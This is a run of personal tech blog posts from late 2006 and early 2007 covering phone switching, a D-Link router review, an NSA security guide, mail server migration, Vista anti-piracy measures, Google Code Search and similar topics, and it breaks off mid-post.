So, I found myself in a bit of a stuck situation, until I got to thinking about it and spent a few minutes this evening IMing with Trevin. I had briefly thought of dumping all of my Exchange folder hierarchy completely and changing over to using Search Folders in Outlook. Trevin told me he only uses search folders and that he uses them extensively. I am running Outlook 2007, and the search performance in that application pretty slick, so I made up my mind and went straight to my Outlook rules and exported them (just in case), then deleted them all. Now all my email would go to my inbox. I started setting up search folders and found I could actually do a lot more with those than I realized - That's something I will be getting deeper into at a later date. Anyhow, I replicated and created the necessary functionality and effectively solved by mobile inbox issue. Now the phone puts everything where I want it and Outlook shows me what I need to see the way I need to see it, only even better than it did before.

I will always like Blackberries, and I am sure I will be running new ones now and then (since I tend to be the guy who tests the new stuff). But for now, the 8700 is gone and the Treo 750 is in its place. It will be interesting to see how it performs over time, but this time around I have a level of confidence that was not present on the last WinMobile trial. That's a good thing.

What do you think? Have experience with these devices? Any PocketPC/Windows Mobile software you think I can't live without (or would not want to live without)?



Add/Read: Comments [9]
Mobile | Tech
Friday, January 12, 2007 1:04:06 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, January 09, 2007

DIR-625 Router from D-Link Recently I wrote about my frustrations with the several WRT-54G Linksys routers I have bricked and suffered through over the past few years. I've been on a search for a good replacement. A number of people have recommended sticking with the Linksys hardware, but since I have been through a few of them, I really just wanted to make a change. My friend Omar and a few others suggested the D-link routers, specifically the ones that do QoS traffic shaping for a variety of network services. Those people using the D-Link Platinum series routers spoke so highly of them, I decided to look at them seriously and decide which one would be best for me. Omar uses a model that is billed as a gaming router and he loves it.

While at Costco earlier today, I discovered they were stocking a Pre-N "RangeBooster" wireless router, the D-Link DIR-625 model. I saw that it had the QoS engine that people were heralding, and being a -N model it has some future to it, which is nice. Omar had noted to me that these routers have the ability to be configured and tweaked in fine detail right out of the box (in other words the firmware you get on the thing is incredibly capable and sufficiently detailed for advanced users), and he was certainly right. You can granularly configure almost anything you can think of. The device will even email you when system events occur or when a new firmware upgrade is available, if you want it to. Quite cool.

I have been up and running with it all evening and am very, very happy. My wireless network connection is now rock-solid and the user interface for the router is top-notch. Not once has the network paused, glitched, dropped or otherwise puked on itself, which is quite a change. I could get used to this, heh.

You can check out an online emulator of the DIR-625 router's web interface here (use a blank password). Product information can be found here. The support and firmware page for this model is here.

Setup was quick and easy, simple enough for anyone due to good packaging and a CD-wizard driven installation routine. This router is highly recommended for both home users and geeks.

UPDATE: 1/15/2007 - I have been running the router for about a week now with exactly zero problems. This thing is as solid as a rock and shapes traffic quite well. I should have made this move long ago.



Add/Read: Comments [7]
Tech
Tuesday, January 09, 2007 11:48:22 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, January 07, 2007

In May, the National Security Agency (yes, that one) published a guide in PDF form (818KB PDF file) called "The 60 Minute Network Security Guide - First Steps Towards a Secure Network Environment."

It's good stuff. Sure, it's not a 100% guide to everything you need to know and do, but it covers the bases quite well. Some have balked at the complex password and rotation requirements and made the requisite "that won't work in the real world" noise, but those of us who actually do operate in the real world know it can be done and that 90 days is a bad number (it's too long IMO, and lacks usability - it should be either 84 or 42 days). Sure, a few people will complain (it's human nature and it takes all kinds), but the vast majority are more than happy to do their part. Don't let the vocal few chase you away from what is proven over and over to be right.

There are always good and effective ways to accomplish goal while meeting requirements: For example, the use of passphrases instead of regular passwords makes complex, long passwords a cinch, and all it takes is about 5 minutes of user education to show people how well it can work (use your all-hands meetings and you'll be amazed what you'll get accomplished in a short period).

Read the guide, use it, and you'll be better off. A variety of other security configuration guides from the NSA can be found here. There are more than 80 guides covering server and client operating systems, network infrastructure, database platforms, and more.

(via lifehacker.com)



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Sunday, January 07, 2007 4:48:57 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, January 06, 2007

I've decided after juggling multiple remotes for a bunch of different equipment for far too long that it's time to go on the search for an advanced universal home theater remote that will let me control my projector, surround system, various components like DVD players and XBOXes and whatnot, as well as my room lighting. Programmable one-button setups for multiple devices is what I have in mind. I want to be able to hit a button and have al these systems lines themselves up, set the volume, turn down the lights, etc. In fact, bonus points if it can also control other items in other parts of the house and if I can set up enough macros to where my roomie can have his own preferences for lighting, volume, etc.

In my early searches, I have found a number of very expensive models that I would have to take a new mortgage out for in order to acquire. People actually spend that much money on remotes? Holy cow! We're talking in the thousands of dollars for some of these things. It's ridiculous. There is no way in the world I can spend more than say $800, and even that would really be way too much unless it does everything I am looking for. I'd hope to be able to do some Froogling and find some street prices that get it all under $500. I'm not holding my breath.

Anyhow, what do people recommend? There are a number of home theater geeks at my work and I am sure they'll each have their opinions and experiences, and I hope to get some more ideas before diving into the water myself. Please leave a comment with your thoughts and experiences, or with descriptions of remotes you may have run across in your own research. Thanks!



Add/Read: Comments [9]
Geek Out | Tech
Saturday, January 06, 2007 10:10:12 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, January 01, 2007

I'm in the process of moving my email for the greghughes.net domain to a new mail server, and I've realized - once again - just how complicated spammers have made our lives. Especially from a technical standpoint.

PTR records in DNS and RBL records on services that no one ever heard of and which have no set rules to determine what gets on the list or how to engage them in getting off a list. What a mess. Luckily I am not on any RBL lists (with the exception of one idiotic one that everyone seems to be on, and which I certainly hope no one ever uses). But I have friends and acquaintances who have been in that boat before and it's not fun.

But the biggest pain with moving a mail server has to be DNS propagation and the wrenches people throw into it. Enough time has passed that all locations should be pointing to the new mail server, because the old DNS records have expired. Yet there are a significant number of (large and prominent) email and Internet service providers (including my own) that are apparently caching longer than the record provides. Fun. That means I am checking two mail servers (and that's a bit of a challenge, let me tell you), and that I cannot send email to pretty much anyone until the planets align and the name server records line up.

Even my web site still has a few bots and spiders and other systems munging through it. I wonder if they'll notice when I turn it off?

One other thing I have observed. The spammers also don't respect caching of DNS records, but in the opposite manner. Instead of caching a record for too long, they completely ignore the cache settings to make sure they can flood your new mail server with as much crap as possible, as quickly as possible.

Ah, gotta love it!



Add/Read: Comments [0]
Tech | Things that Suck
Monday, January 01, 2007 10:47:54 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, December 30, 2006

New RDP client UI MS has released v6 of it's Remote Desktop Connection client.

Remote Desktop Connection (Terminal Services Client 6.0) provides a way to use any new Terminal Services features introduced in Microsoft Windows Vista and Microsoft Windows Server Code Name “Longhorn” from a computer running Microsoft Windows XP with Service Pack 2 or Microsoft Windows Server 2003 with Service Pack 1.

The features in this release are really about Vista and Longhorn server for the most part. But, one feature that works in XP while connecting to Windows Server 2003 (and I was prompted to do this by default after upgrading, by the way) is the option to provide the username and password in the client before logging on, and the option to save that information so you don't have to re-enter it each time (not sure I like that specific idea for security purposes, but it has its place, and there are several security enhancements when connecting to Vista and Longhorn server).

Download it from Microsoft here. Read the KB article here (which includes links to versions for OSes other than 32-bit XP, as well).

(via Omar)



Add/Read: Comments [1]
IT Security | Tech
Saturday, December 30, 2006 2:14:42 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, December 29, 2006

Joel Spolsky points to a blog entry by Dmitri Zimine that does a good job pointing out the problem with interruptions when a software developer or team needs to be heads-down on a project. The posts are more than a month old, but they're still just as relevant. As an agile development team manager, I know a significant part of my job is to provide a layer of abstraction between the dev staff and everything else in the world. Interruptions and distractions have a compounding, maybe even exponential delay effect on major software projects - a half-day interruption can result in several days of lost productivity (especially if the half day is scattered an hour or half-hour at a time over a couple days, for example).

I've often wrestled with trying to strike a balance between what needs to get done on some project and the rest of the needs (and wants) that are out there. Ultimately, here is what I have come up with:

  1. Bugs that impact real customers simply have to be fixed. Bugs happen, and so fixing happens. How important and impactful the bug is determines the priority of the effort and whether or not (and when) to interrupt the programmers.
  2. It's my job to put myself in the communication loop, as a filter. I have fallen down on the job a bit in that regard recently, partly because of my work travel schedule. I need to re-insert myself to enable the development staff do their jobs even better.
  3. It seems obvious but it's worth saying: You cannot make everyone happy all the time, and you should never try to do so. All you'll get is disappointment, and that's not a worthy goal.
  4. Nothing is ever as big a deal as it seems. Everyone has their own priorities, and it's human nature for people to make their own priorities seem highest. But that's not the way it really works. See Number 2, above, for a solution.
  5. Focused developer and QA people are happy. Distracted ones are grumpy, much less productive and complain a lot. In other words, there is a domino effect. Professionals expect their managers to help them do their jobs well, and that's a reasonable expectation. My job is to hire good people, make sure they have what they need, and then let them do what they do best.

I truly enjoy working with my team in an agile world. It's always a fight to strike that perfect balance, and since true perfection is impossible, it's always a moving target. But a good manager will stay on top of that target, anticipate problems, adjust to the environment, and head those pesky issues off at the pass whenever possible.

For the record, I'm about as far from an optimal agile dev team manager as one could find. I am learning something new every day, much of it OTJ style, and there are other people where I work that are quite literally pros in the agile management field. For all I know, they may have something to say that contradicts what I've espoused. Should be interesting.



Add/Read: Comments [2]
Tech
Friday, December 29, 2006 10:44:11 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, December 23, 2006

I've pretty much had enough. The WRT54G has proven to be a fun router to play with, but I've bricked a few of them over the past couple years, and the one I have now is less than optimal. It drops wireless connections fairly regularly. I can try upgrading the Talisman firmware to the latest (I am running 1.0.5 and there have been two releases since), but I'm not convinced it's a software issue really.

So, the question is: Which wireless router is best for me? I'll do some research of my own, of course, but I know some of you smart people will let me know what your experiences are.

Here's a bit off the old Stuff-I-Need list as it relates to the router:

  • I use Vonage for phone service. For the past year I have had the Vonage terminal adapter sitting on the Internet, and the wireless router plugs into the TA's LAN port.
  • I'd like to be able to define QoS for a variety of apps, network destinations and service types.
  • Security security security. It must have a good firewall and the ability to DMZ properly.
  • Geekiness geekiness geekiness. Plus points for ability to configure and tweak a lot.

Any ideas out there? I'm off to do some research. This will be my Christmas present to myself, if and when I decide to do the replacement. I have a week off from work to catch up on life and things at home, so this is on my list (not at the top, priority-wise, but it's on there).

Starting point: This Buffalo router looks pretty good.

UPDATE: I tried upgrading to the latest Talisman/SveaSoft firmware, but problems persisted and in fact even got worse. DHCP completely failed and . I removed the router from the network, hooked up to the Vonage TA directly, connected to Linksys.com, and downloaded the latest factory firmware. Once I managed to get that installed, everything seems to be back up and running and looks stable at first glance. But the Linksys firmware, although greatly improved since I last looked at the Linksys factory stuff, doesn't have the same great options. But I'll let this run for a while and see if it's more stable. Fingers crossed. I still want to replace this thing. Thanks for the emails and comments so far. Any more ideas to consider?



Add/Read: Comments [8]
Tech
Saturday, December 23, 2006 9:46:16 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, December 22, 2006

Effective immediately and as of today, Microsoft has extended the warranty period for the Xbox 360 console to one full year. And those of us who bought one in the past get the benefits of the new warranty period, too - not just new purchasers.

On top of that, if you paid for any repairs in the first year of ownership, you'll be getting a reimbursement check. Wow, not how's that for a good deal eh?

From the Xbox web site:

Effective today (December 22), the one year warranty is now the standard for all Xbox 360 consoles. Customers that experience hardware issues with their Xbox 360 within one year of purchase will have their consoles repaired at no cost. Moreover, the new warranty policy is retroactive, so consumers that may have already paid for out-of-warranty Xbox 360 repair within one year of the console's purchase will be eligible for reimbursement of their console repair charges.

Nice!



Add/Read: Comments [0]
Tech
Friday, December 22, 2006 11:26:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, December 14, 2006

Google has released its Google Patent Search, where you can search more than 7 million patents issued by the USPTO:

Today, we're excited to be releasing the beta version of Google Patent Search, which makes it easy to search the full text of the U.S. patent corpus and find patents that interest you. Start your exploration at www.google.com/patents or visit the Advanced Patent Search page to search by criteria, including patent number, inventor, and filing date. You can view images of original patents online.

Good stuff.



Add/Read: Comments [1]
Tech
Thursday, December 14, 2006 12:01:03 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, December 13, 2006

OmniFind Yahoo! Edition is a new release from - yeah you got it - IBM and Yahoo! that companies small, medium and large can install and use for free to enable enterprise search of intranets, file systems, and public web sites.

Looks like a partial answer to the SharePoint capabilities offered by Microsoft. I haven't tried it yet but will probably take a closer look. It will be interesting to see if this becomes a trend - offering free software to business customers.

Have to say, this is pretty enticing at first glance. They say it's designed to install in five minutes, with three clicks or less.

Might just have to try that.



Add/Read: Comments [0]
Tech
Wednesday, December 13, 2006 11:43:00 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, December 07, 2006

I almost didn't write this one. But then I changed my mind because it occurred to me that there's a lot of people who are in the same boat. Let me be very clear here that this entry is written from the perspective of a business power user, someone who stretches things to their usable limits, and then some.

As many readers here already know, I am a Blackberry guy. Have been for years. Occasionally, I go through the trial phases with other devices, sort of a change-up process that - at least to date - has always ended up being a sort of Blackberry Vacation phase for me.

Anyhow, yesterday I set aside my trusty and scratched Blackberry 8700, with it's extended battery and general useful goodness, to try the latest in Windows Mobile technology for a while - the Samsung Blackjack, procured from Cingular. Giving up my Blackberry, which has survived multiple submersions (don't ask, don't worry) and significant drops on many a hard surface, is not something I take lightly.

The Blackjack looked interesting. I had an opportunity to switch out with no risk and to see what it's all about. The TV commercials had caught my eye, truth be told, and it looked like about as good of a Windows Mobile device as any, probably even better. So, I thought, what the heck... And yesterday it arrived and we swapped out the SIM cards. I went about my business sans-Blackberry and with a sleek new phone. This blog entry is my (rather pointed)comparison of the two devices and software. It's important to note that a comparison point of view is my primary perspective when I review mobile devices. In order to make a switch from what I already have it has to work for me in a business sense, well enough to make me want to move, so a comparison with a power-business-user slant is both fair and meaningful.

Anyhow, It's been an interesting 24+ hours.

First off, the 30,000-foot Gestalt view: To be honest, my hopes have been fairly dashed. No matter how you skin it, from a strict usability standpoint the Windows Mobile 5 experience still just doesn't match that of the Blackberry. It's much closer than it used to be, but the remaining gap is real and there's much work remaining to be done to move into the same category. And I am not referring to the Blackjack hardware here (more on that in a minute). I am referring to the OS as a whole and the UI navigation specifically. I have to scroll and click through so many things just to do the simplest tasks. The conglomeration of operating system and applications (some controlled by MS, some by the device manufacturer, others by the carrier, I am sure) is just a little too klutzy to work well. It's right on the edge of being too difficult to be practical. Keep in mind, I come from Blackberry land, where things work quite well, where Blackberry controls the hardware and the software in a much more complete manner. And that's the set of users that Windows Mobile needs to win over. Without that, the potential market is considerably more scarce. Also keep in mind, I really want the Windows Mobile experience to rival or even best the Blackberry - there's no fan-boy stuff going on here. The simple fact is that in practical power-user life the Blackberry wins by a significant margin. And by practical use I mean email, calendar, tasks, text messaging, and the like. Not MP3 files and video. Those are nice, but the basics have to work really well first.

What exactly am I referring to? On the Blackberry, I look at one screen and touch one wheel to do everything but type. Everything I need is right there, in full view. My email is one thumb click away and so is the calendar. On the Blackberry clicking the wheel brings up a context sensitive menu of options - all of the options right there on the screen without having to go to three or four more buttons on the face of the phone. Sounds picky, I know, but deal with several hundred emails a day and see how much of an impact it has. For that matter, spend ten minutes reading email flowing in on a Blackberry and then see how long it takes you to do the same thing on the Blackjack or any other Windows Mobile device. It's a different world.

Now, granted - Blackberry doesn't have some of the terrific things the Blackjack and Windows Mobile sport, and it's some pretty darned cool stuff that you get on the Blackjack/Windows Mobile device, to be sure. For example, the 3G UTMS/HSPDA network is amazingly fast (the Blackberry 8700 is an EDGE device, which is okay but doesn't really even compare speed-wise), and of course the Blackjack has a camera, which is something you can't get (yet) on a Blackberry (but the 8800 model with a camera is rumored to be coming in the spring). The 1.3 megapixel camera does a pretty nice job, by the way. Much better than other phones I've used before. Windows Media Player 10 (with some nifty streaming audio and video on the fast network provided by Cingular) and the ability to use MicroSD cards is cool. You don't get that on the Blackberry. And a solid MSN/Live Messenger application that I don't have to go find and pay for was a welcome item, as well. It also does AOL and Yahoo! messengers, by the way.

Did I mention it's a phone? Bluetooth 2, speakerphone capability and a very good phone call and sound quality are all pretty impressive.

There have been three lock-ups that I had to pull the battery to resolve. One was a network data failure to communicate at all this morning first thing, and the others were random application glitches it seemed. I have had to pull the battery on my 8700 a few times, but it's very, very rare.

Ultimately, even with the cool bells and whistles, if I cannot reliably and effectively do email, calendar and messaging in a very quick, painless and efficient manner like I can with the Blackberry phone, it's all for not. At best the experience on Windows Mobile takes some getting used to for a Blackberry user, and yet in reality even after some adjustment time it still lacks. You just have to navigate too much and too far with too many pointers and controls to get much of anything done, and the beautiful, bright screen is used for "bling" more than for practical real estate application. I will look for screen themes that better use the space, but I'm not holding my breath.

As far as the hardware goes, it is a nice feeling device. It's very solid and feels substantial in your hand. I like that. I think the proprietary cable that hooks to the USB port and/or charger cable was a terribly bad decision. Why not mini-USB so I can use my existing cables and chargers? Oh, wait - that's right. How would they sell more accessories if they all match? Ugh.

And don't get me started on battery life. Get this - between 8am and 3pm, I completely went through a charged battery, and that with only one phone call all day, and that call only lasted five minutes tops. I have the Exchange push-sync thing going and Bluetooth is turned on (by the way, the Bluetooth on the 8700 is flaky and the Blackjack has it beat in terms of reliability). I imagine that uses a bit more battery, but is it unreasonable to expect that the battery would last at least a day? The Blackberry lasts forever on a charge. I have a hard time killing it on a dawn-to-past-dusk day of emergencies and lots of phone calls. Good thing there's two batteries with my Blackjack - I needed them both just today. That's not good. A Microsoftie friend tells me there is some way to  turn off the HSPDA capability and that doing so might help with battery drain, and also that the push configuration with Exchange is a power-killer as well. But to me it seems like the features should be supported by the battery system. Either that or else the features need to be made a lot more efficient. Again, I am speaking from a practical standpoint. It has to work in the real world, regardless of what it is. And I can't change batteries mid-day in many cases. Hopefully after a few charges the life will get a little better but I can't imagine it getting so much better as to alleviate the concern.

Probably my biggest and most noticed disappointment about he hardware is the keyboard. I was surprised at how hard it is to type on this thing. Visually the keyboard is pretty cool and is somewhat similar to the Blackberry. But once you touch it you realize the keys are long and tall in shape, close together, and it's too easy to screw up finger placement. They're also slippery and stick up a long way, making accurate finger action even more difficult. The spacebar key is too narrow, and there's actually room there on the device to make it wider - which makes its lack of size even more unfortunate. And worst of all, as I type email or anything at normal typing speed the device randomly misses keystrokes. They just don't register. And at other times the OS seems to lag in showing what I type. I have had to go back and fill in missing letters and characters all day long on the thing, which is doubly frustrating. Again, from a practical standpoint that's not good.

I hate even writing this, because I very much wanted to like the Blackjack. And while I don't quite hate it (and I will stick with it for at least a few more days to see if somehow my experience and opinion changes), the usability issues have just about killed it for me out of the gate. The enthusiasm is gone and it's been fairly disappointing.

I have to believe that on the platform side Microsoft is truly interested in going after the serious enterprise business market, which is why I mention these details about the OS. And I will happily share my thoughts and experiences with anyone on the Mobile OS team that wants to take them. I'm picky, heh. And the war's not over yet: Today no less than ten people noticed the cool form factor of the Blackjack and instantly asked me if that was a new Blackberry I had. "No," I told them, "it's a Blackjack Windows Mobile phone." Hmmm! said the looks on their faces. "Do you like it?" they asked with anticipation. "No," I said. "It's driving me nuts. It should be cool but so far it's just too much work to use it." And that's the truth.

As I said, I almost didn't write this. There are many people out there that will get the Blackjack and love it, I am completely sure of that. It's a great phone. But as a hard-core power user on the business side, I need more - and this is my way of asking.

First impressions count for a lot, and the experience I've had with the Blackjack - colored by my experience with other devices that work very, very well - was simply less than I had hoped for. I think I have reasonable expectations. I am hopeful - and somewhat confident - that it will get better in the future. At least I sure hope so. The Windows Mobile OS has a lot of potential to kick butt. It just needs to get across that magical proverbial line, and probably Microsoft needs to do even more to ensure that the device makers do their part, as well. I know that seems like a legal stretch, but hey there's plenty of proof showing why it's needed. Blackberry has perfected their form factor and their software, which while relatively simple is elegant and works very well. Microsoft doesn't need to copy them to come up with a great solution, and they don't need to stifle the channel partners, software authors and hardware manufacturers, but they do need to set high standards, and they need to push hard and fast.

If and when that happens, maybe then I'll switch. Maybe it'll be a no-brainer. I am open to it, and hope that someday it will happen. Until then, I think this is just another vacation from my Blackberry career, but I am willing to let time tell. Heck, it's probably a good idea to stick with something else for a short period anyhow as far as repetitive stress injury avoidance goes, at least. Right?



Add/Read: Comments [21]
Mobile | Tech
Thursday, December 07, 2006 12:20:24 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, October 25, 2006

My friend Scott loaned me his XM Satellite Radio for my recent road trip to Minnesota and back (2,000+ miles each direction). Wow. Way Cool.

Nothing makes a long, long drive half way across the country and back bearable like non-stop stand up comedy and 70's era music that just plays all the way across the country. Throw in some CNN, BBC and a little FOX News for balance and let's just say it's a great way to travel.

I went to Minnesota last week to help a friend move, among other things. It's been that and weddings (lots of weddings) recently. The satellite radio - combined with a pair of GMRS handie talkies - made for an enjoyable journey back to Oregon. If you ever drive across the country and your travel companion is in another car, take a pair of 10-mile radios with you and get off Channel 1. You'll be glad you did.

Anyhow - back to the XM radio. This was (believe it or not) my first experience using a satellite radio unit. I've looked at them before, but honestly I have never really liked the form factor of the receivers. On this trip I used the built in FM transmitter to get the audio out of the receiver and over my audio system, since I don't have a cassette player in my car. I wish they could make the transmitters a bit more powerful since I had to change the FM channel on my car radio periodically whenever the frequency selected was in use by a local radio station (too bad there's not a frequency set aside and used for low power in-car type transmitters). But that's really just nit-picking. I guess if I was constantly listening to XM or a similar service in Portland all the time, I'd get frustrated with the FM transmitter since the stations are so many and since they bleed out of band so badly in some cases. But for a cross-country trip it was pretty cool.

I like the ability to take the radio from one car to another, so although built-in receivers would obviate the need for a low power transmitter, that's not really what I'd want.

I noticed that some channels have considerably better fidelity - a compression-related effect, I am sure - than did others. I have been told that XM started compressing a lot of programming pretty heavily early this year, and that Sirius has better audio quality. Anyone done some detailed listening comparisons? I've not yet listened to the Sirius broadcasts, so I cannot compare myself. I know there are differences in programming, as well as a significant overlap in the core channels. Too bad Sirius doesn't have the "decades" channels. I liked those a lot.

Do you use XM or Sirius satellite radio? What do you think and how well does it work for you?



Add/Read: Comments [8]
Mobile | Tech
Wednesday, October 25, 2006 1:30:41 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, October 09, 2006

Everyone and their brother's going nuts over the announcement this afternoon that Google is buying YouTube. I think we all knew it was coming, and yeah it's a big deal. What was really interesting to me was that I was about to do a between-flights phone interview (on an unrelated tech topic) with a national newspaper reporter (who shall remain nameless), when the interview was suddenly (and rightfully, heh) postponed due the the Google announcement (which had not been publicly made at that time, but I just happened to hear about it third-person before it was actually announced in public).

Anyhow, it's an interesting consolidation acquisition, especially since Google already has their Google Video (which I like), but adding YouTube (which is pretty awesome) does round things out very nicely, especially with the deals YouTube has recently made with some major media labels. How much did that jack up the value in the past couple days?

It's time for Microsoft to find a way to make some sort of serious, serious push on it's Soapbox offering. I have not uploaded any videos yet to my Soapbox profile, but I will soon in order to do some comparing. First thing for MS to do? Probably best to drop the blue color theme and get back to web UI basics. Also probably best to rethink the name. Seriously. I'm not kidding. Google Video makes it blatantly clear what you're using and it's easy to remember. YouTube is a household name and I know what I am doing based on the name, as well. And to be honest, each time I wanted to write something about Soapbox on MSN, I had to go back to my email and search to figure out what the service was called. That's not exactly memorable, or usable.

Actually, truth be told I'm on the fence on the color thing. But the standard, proven blue-text-on-white-background model is safe, expected and generally accepted - and that might just be a good thing right about now.


Add/Read: Comments [2]
Random Stuff | Tech
Monday, October 09, 2006 6:31:32 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, October 05, 2006

Vista_logoWell, honestly, it's about time.

Bloggers are all over the story, and are espousing a variety of opinions, but I have wondered for years when Microsoft would finally crack down on software thieves and simply not allow their software to run unless it was legitimately licensed. I'm responsible for cutting a big check each year to Microsoft to pay for the software we use at the company I work at. It costs me more, in effect, because others are taking without paying.

So, Windows Vista will detect piracy and take action. In Microsoft's words:

"Collectively termed the Microsoft Software Protection Platform, the new technologies will introduce improvements in how Microsoft software activates, is validated online and behaves when tampering or hacking is detected."

Thinking about this from a security guy's perspective, one thing bothers me: Turning off the anti-malware capabilities on unlicensed copies? Are you kidding me? That means the rest of the world falls victim to everyone out there that's running pirated Windows? Please, please, please change this one - Microsoft might be a victim, but no need to invite the rest of the world into that club. And it looks like Richi Jennings agrees with me on that one. That's just poor prioritization. Hopefully someone will rethink the approach in that specific area...

Elsewhere, Ed Bott at ZDNet has written a very good piece describing the changes and his thoughts on the matter. He has some important point, ones that Microsoft should make sure they have thought completely through and have a plan for - especially where it comes to Volume License customers. Those are the people you don't want to aggravate, for sure.

Among Bott's comments:

Microsoft denies that this is a "kill switch" for Windows Vista, even giving it a separate question and answer in its mock interview announcing the program. Technically, they're right, I suppose. Switching a PC into a degraded functionality where all you can do is browse the Internet doesn't kill it; but it's arguably a near-death experience. The accompanying white paper describes the experience in more detail:

By choosing "Access your computer with reduced functionality," the default Web browser will be started and the user will be presented with an option to purchase a new product key. There is no start menu, no desktop icons, and the desktop background is changed to black. The Web browser will fully function and Internet connectivity will not be blocked. After one hour, the system will log the user out without warning. It will not shut down the machine, and the user can log back in. Note: This is different from the Windows XP RFM experience, which limits screen resolution, colors, sounds and other features. [emphasis added]

My head practically exploded when I read this sentence describing the new, improved punishment regimen: "Windows Vista will have a reduced functionality mode but one that is enhanced." Enhanced reduced functionality? Orwell would be proud.

Snarky as ever, Engadget reports:

Well, Microsoft has fired the first salvo in this war on pirates -- according to The Associated Press, the Redmond crew will be taking "much harsher steps to curtail piracy" than in years past. First, the company will "deny access" to some of the "most anticipated features," including Windows Aero, the new GUI. Then, Vista will start issuing ransom demands (we're not kidding about this part), demanding that a legitimate copy be bought within 30 days, or else. What would such consequences entail? How about limiting Web access to an hour at a time? Further, what about not being able to open documents from the desktop or "run other programs such as Outlook e-mail software" ? However, the article goes on to say: "Microsoft said it won't stop a computer running pirated Vista software from working completely, and it will continue to deliver critical security updates." So for those of you keeping score, Microsoft wants to make using your computer as miserable as possible, while keeping it as "safe" as possible, ok?

People out there will whine and complain and say it's not fair, that it's all a bunch of red tape and people will be inconvenienced (and they might be right about that one point), and a million other things that go along with the typical victim mentality (sorry guys, but possession of stolen goods is illegal, even if it's inconvenient, and possessing stolen stuff unknowingly doesn't make the goods any less stolen). And Microsoft needs to make sure that legitimate users are not impacted in a truly meaningful and workable way. But the fact of the matter is that Microsoft is right on this one. In fact, it seems to me that if I ran a company that created software for use by consumers and businesses, and if I wanted to make sure it was being legitimately used and paid for, I'd just keep it from working at all if it was obviously stolen.

But the politics of huge-mega-corporation-attacked-by-angry-mob is a multi-billion-dollar business, apparently.

Glad to see they're finally doing something about it, though.

Some Techmeme-tracked discussion on the topic:

Technorati tags: , , , ,



Add/Read: Comments [8]
IT Security | Safe Computing | Tech | Things that Suck
Thursday, October 05, 2006 6:51:25 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Google Labs has deployed Google Code Search, which allows regular expressions to be used to search public source code on the Internet. You can also restrict searches by language, license or filename. Earlier this year, Krugle launched a source code search engine, too. I'll need to think about the potential IP, license and security implications of this (there are many software licenses being used in the world, so how do they respect those that don't allow republication, for example, or what if they don't detect a license in the crawl?), but I suppose if it's out there, it's out there. At any rate, it's interesting what you can do. I bet a lot of people will get a lot of mileage out of this:

Google crawls as much publicly accessible source code as their system can find, including archives (.tar.gz, .tar.bz2, .tar, and .zip), CVS repositories and Subversion repositories. And there's also a GData API available to allow mashup apps access to the functionality.

Syntax and Examples (more about regexp syntax)

regexp
Search for a regular expresion
go{2}gle hello,\ world ^int printk

"exact string"
Search for exact string
"compiler happy"

file:regexp
Search only in files or directories matching regexp
file:\.js$ XMLHttpRequest file:include/ ioctl
file:/usr/sys/ken/slp.c "You are not expected to understand this."

package:regexp
Search packages with names matching regexp.
(A package's name is its URL or CVS server information.)
package:perl Frodo package:linux-2.6 int\ printk

lang:regexp
Search only for programs written in languages matching regexp
lang:lisp xml lang:"c++" sprintf.*%s

license:regexp
Search only for files with licenses matching regexp.
license:bsd int\ printf -license:gpl quicksort

(via Google Blogoscoped)



Add/Read: Comments [0]
Tech
Thursday, October 05, 2006 6:00:53 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, October 04, 2006

I just submitted my name at the BerryWare site to get information about availability of the "bimmerberry" line of custom-finish housings for Blackberries.

From the BerryWare site:

“Available in 6 colours - Red, Pink, Green, Blue, Midnight Black, and Silver, these replacement houstings are not the clip-on cases you find everywhere, but an actual refinished housing for your Blackberry painted by a certified professional refinisher using high quality paint and clear coat.”

You have to admit, that's kinda cool. And with my Cingular 8700c and the not-so-cool finish Cingular chose, a metallic black or red finish sounds good to me.

Blackberry Cool says: "Pretty neat, but we’re really hoping the combination of this and the adoption of the BlackBerry in celeb-world doesn’t result in a 'Pimp My ‘Berry' scenario. That would not be pretty."

Ummm... Oops. :)

via Blackberry Cool - Disguise your BlackBerry



Add/Read: Comments [0]
Geek Out | Mobile | Tech
Wednesday, October 04, 2006 9:46:14 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

(the one where I ponder the personalness (or is it personality? (both?)) of blogs and notice how level the playing field really is...)

I was glancing at Techmeme.com this evening to see what I have been missing the past day or so, and I started browsing the names of the weblogs listed there. I noticed mine was listed, which was pretty cool, and a whole slew of others. For those that don't know, Techmeme lists current online news and blog entries about - you guessed it - technology. Where a topical post appears, the author is attributed and when others write about the same topic, those weblogs or news sites will sometimes also get listed under the main entry. You can click on each one and see what each author has to say about the topic at hand. It's really very slick, and it's all automated. You can blame Gabe Rivera for it's creation. It's really pretty much virtual ice cream for a geek's hungry mind.

Anyhow, as I was passing through Techmeme during my end-of-day, finally-got-home-from-work, just-have-to-see-what-the-rest-of-the-world-is-thinking time, I realized that not many people with tech blogs use their own names in the title. That got me to thinking that tech blogs are often "properties" by name, rather than direct representations of the people that author them, which is interesting to me since one of the things I like best about blogs is that they are uniquely personal.

Then it also occurred to me that except for certain specific blogs I already know (Engadget, TechCrunch, big names like that), I am naturally drawn to blogs that have someone's name in them. I had not thought about it before, but often I want to know what other people think about something. So, I guess when I see a person's name, I am drawn in. Interesting.

SO I went back and looked for examples at TechMeme. There are some people names scattered around. My name is right there, listed as "greg hughes." Robert's is listed as "Scobleizer," which is a play on his name. And Ed Bott's name is part of his weblog's title. But look at all these other names - most are some pithy or cool geeky blog name. Here's a partial representation of what's on there this evening:

